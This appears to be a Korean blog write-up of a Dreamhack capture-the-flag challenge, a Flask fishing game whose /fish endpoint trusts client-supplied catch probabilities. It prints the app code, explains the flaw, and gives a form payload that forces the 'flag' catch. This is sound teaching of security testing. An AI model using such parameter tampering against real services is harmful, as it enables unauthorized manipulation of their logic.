반응형
문제설명
문제 설명
낚시.. 좋아하시나요..?
사용된 이미지는 모두 nocopyright 이미지를 사용하였습니다.
코드분석
FISHLIST_PATH = 'fishlist.txt'
FLAG_IMAGE_PATH = 'flag.jpg'
def load_fishes():
fishes = []
grade = None
with open(FISHLIST_PATH, encoding="utf-8") as f:
for line in f:
line = line.strip()
if not line:
continue
if line.startswith("등급"):
grade = line.split(":")[1].strip()
continue
if ' ' in line:
name, prob = line.rsplit(' ', 1)
prob = float(prob)
fishes.append({
'name': name,
'img': f"{name}.jpg",
'prob': prob,
'grade': grade
})
return fishes
- fishlist.txt에서 물고기 리스트 데이터 가져오고 flag는 flag.jpg에 있는 듯 하다.
- 물고기와 등급이 있고, 리스트에서 가져오는듯
- 잡은 물고기의 name, img, prob, grage 나와있는 것처럼 데이터를 처리함
ISHES = load_fishes()
DEFAULT_PROBS = [fish['prob'] for fish in FISHES]
def pick_fish(fishes):
r = random.random()
total = 0
for fish in fishes:
total += fish['prob']
if r < total:
return fish
return fishes[-1]
- 물고기는 랜덤뽑기 함수인듯
@app.route("/")
def index():
caught = session.get("caught", [])
return render_template("index.html", fishes=FISHES, caught=caught)
- 잡은 물고기를 보여줌
@app.route("/fish", methods=["POST"])
def fish():
probs = request.form.getlist("probs", type=float)
if len(probs) != len(FISHES):
probs = DEFAULT_PROBS
fishes = []
for i, fish in enumerate(FISHES):
fishes.append({
"name": fish['name'],
"img": fish['img'],
"prob": probs[i],
"grade": fish['grade']
})
fish = pick_fish(fishes)
caught = session.get("caught", [])
if fish['name'] not in caught:
caught.append(fish['name'])
session['caught'] = caught
return jsonify({
'name': fish['name'],
'img': fish['img'],
'grade': fish['grade']
})
- 잡은 물고기 처리를 담당
- probs를 사용자 입력으로 받음
- 잡은 거 name, img, grade로 리턴하고 저장함
@app.route("/flag_image")
def flag_image():
caught = session.get("caught", [])
if "flag" in caught:
if os.path.exists(FLAG_IMAGE_PATH):
return send_file(FLAG_IMAGE_PATH, mimetype="image/jpeg")
else:
return abort(404)
return abort(403)
- 잡은 게 flag이면 FLAG를 jpeg 형태로 출력
취약점 분석
probs = request.form.getlist("probs", type=float)
if len(probs) != len(FISHES):
probs = DEFAULT_PROBS
- 사용자가 입력한 값을 그대로 probs로 사용함
- 길이만 맞다면 그 값을 신뢰하고 사용함
익스플로잇
먼저 /fish 엔드포인트를 가로채 헤더와 바디를 추가해 준다.
Content-Type: application/x-www-form-urlencoded
probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=0&probs=1

flag 파일을 확인을 했으니 이 세션 값을 가지고 /fiag_images 엔드포인트에 GET 요청을 보내면

이미지 파일이 바이너리 파일이므로 Render 탭에서 확인해 보면

반응형
'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글
| Really Not SQL (0) | 2026.02.23 |
|---|---|
| ez_race (0) | 2026.02.20 |
| Test Your Luck (0) | 2026.02.19 |
| My Best Friend (0) | 2026.02.19 |
| Hangul - Revenge (0) | 2026.02.19 |